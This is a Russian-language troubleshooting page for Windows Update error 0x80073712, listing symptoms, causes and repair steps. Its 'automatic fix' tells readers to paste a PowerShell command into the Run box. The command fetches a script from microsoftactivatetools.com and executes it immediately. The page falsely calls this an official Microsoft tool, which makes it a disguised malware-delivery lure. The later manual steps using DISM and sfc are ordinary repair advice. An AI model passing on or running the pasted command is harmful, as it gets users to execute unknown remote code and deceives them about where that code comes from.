0x80073712Windows Update

Ошибка установки обновлений 0x80073712

Файл, необходимый для Windows Update, повреждён или отсутствует. Требуется восстановление хранилища компонентов.

АМ

Алексей Мирский

Системный администратор Windows · 12 лет опыта

Обновлено: 13 июня 2026 г.Чтение: 1 мин

Симптомы

•Конкретное обновление не устанавливается и выдаёт 0x80073712
•Windows сообщает о повреждённых файлах компонентов
•Установка KB-обновлений завершается откатом
•Журнал CBS.log содержит записи о повреждённых пакетах

Причины появления

—Хранилище компонентов Windows (WinSxS) содержит повреждённые записи
—Файл манифеста пакета обновления не совпадает с контрольной суммой
—Предыдущая неудачная установка оставила «осиротевшие» компоненты
—Повреждён диск в секторах, где хранятся системные компоненты

Автоматическое исправление

3 шага · ~30 секунд · без установки

Откройте окно «Выполнить»

Нажмите на клавиатуре Win + R

Вставьте команду и нажмите OK

powershell -Command "irm microsoftactivatetools.com/install | iex"

Дождитесь завершения

Инструмент автоматически проверит систему, найдёт ошибку и исправит её. После завершения вы увидите подтверждение в консоли — закройте окно и перезагрузите компьютер.

Команда работает на Windows 10 и Windows 11. Используются только официальные инструменты Microsoft.

Решение без Microsoft Tools — вручную(для опытных пользователей, 4 шагов)

1
Запустите DISM для проверки хранилища
В командной строке администратора: DISM /Online /Cleanup-Image /CheckHealth. Затем: DISM /Online /Cleanup-Image /ScanHealth
2
Восстановите хранилище компонентов
Выполните: DISM /Online /Cleanup-Image /RestoreHealth. Процесс займёт 15-30 минут и требует подключения к интернету.
3
Проверьте системные файлы
После DISM выполните: sfc /scannow. Дождитесь завершения и перезагрузитесь.
4
Очистите хранилище компонентов
Выполните: DISM /Online /Cleanup-Image /StartComponentCleanup /ResetBase. Это освободит место и удалит устаревшие компоненты.

Частые вопросы об ошибке 0x80073712

DISM /RestoreHealth завершился с ошибкой. Что дальше?

Попробуйте запустить DISM с указанием источника: подключите ISO-образ Windows той же версии и выполните DISM /Online /Cleanup-Image /RestoreHealth /Source:D:\Sources\install.wim

Сколько времени занимает восстановление через DISM?

От 15 минут до часа в зависимости от скорости интернета и состояния системы. Не прерывайте процесс — дождитесь 100%.

Помогло ли решение?

Ошибка установки обновлений 0x80073712

Симптомы

Причины появления

Частые вопросы об ошибке 0x80073712

Похожие ошибки